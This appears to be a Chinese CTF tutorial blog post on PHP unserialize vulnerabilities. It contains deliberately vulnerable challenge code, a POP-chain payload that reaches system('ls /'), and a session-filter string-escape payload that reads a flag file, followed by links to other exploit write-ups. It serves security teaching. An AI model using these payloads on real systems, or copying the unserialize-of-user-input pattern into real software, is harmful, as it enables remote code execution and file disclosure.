<?phpclass test{    public $name = "f1r3K0";    public $age = "18";}$class = new test();$class_ser = serialize($class);print_r($class_ser);

<?phpclass xctf{    public $flag = '111';    public function __wakeup(){        exit("bad request");    }    $text = new xctf();    echo(serialize($text));?>

<?php class crow{    public $v1;    public $v2;     function eval() {        echo new $this->v1($this->v2);    }     public function __invoke(){        $this->v1->world();    }} class fin{    public $f1;     public function __destruct(){        echo $this->f1 . '114514';    }     public function run(){        ($this->f1)();    }     public function __call($a, $b){        echo $this->f1->get_flag();    } } class what{    public $a;     public function __toString(){        $this->a->run();        return 'hello';    }}class mix{    public $m1;     public function run(){        ($this->m1)();    }     public function get_flag(){        eval('#' . $this->m1);    } } if (isset($_POST['cmd'])) {    unserialize($_POST['cmd']);} else {    highlight_file(__FILE__);}

O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0A+system%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

<?php $function = @$_GET['f']; function filter($img){  //过滤函数    $filter_arr = array('php','flag','php5','php4','fl1g');  //过滤名单    $filter = '/'.implode('|',$filter_arr).'/i';    return preg_replace($filter,'',$img);  //以空格代替}  if($_SESSION){    unset($_SESSION);} $_SESSION["user"] = 'guest';$_SESSION['function'] = $function; extract($_POST);  //extract函数：将变量从数组中导入当前的符号表，这里是把post里的值取出来变为PHP变量，比如name=user,则为$name=user，最重要的是它会再变量冲突时覆盖前面的变量。 if(!$function){    echo '<a href="index.php?f=highlight_file">source_code</a>';} if(!$_GET['img_path']){    $_SESSION['img'] = base64_encode('guest_img.png');}else{    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));} $serialize_info = filter(serialize($_SESSION));  //产生字符串逃逸 if($function == 'highlight_file'){    highlight_file('index.php');}else if($function == 'phpinfo'){    eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){    $userinfo = unserialize($serialize_info);    echo file_get_contents(base64_decode($userinfo['img']));}

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

# 往期推荐

1.CVE-2017-0263提权漏洞学习笔记

2.堆、UAF之PWN从实验到原理

3.Frida inlineHook原理分析及简单设计一款AArch64 inlineHook工具

4.PWN学习笔记【格式化字符串漏洞练习】

5.2022 CISCN初赛 Satool

6.CVE-2016-3309提权漏洞学习笔记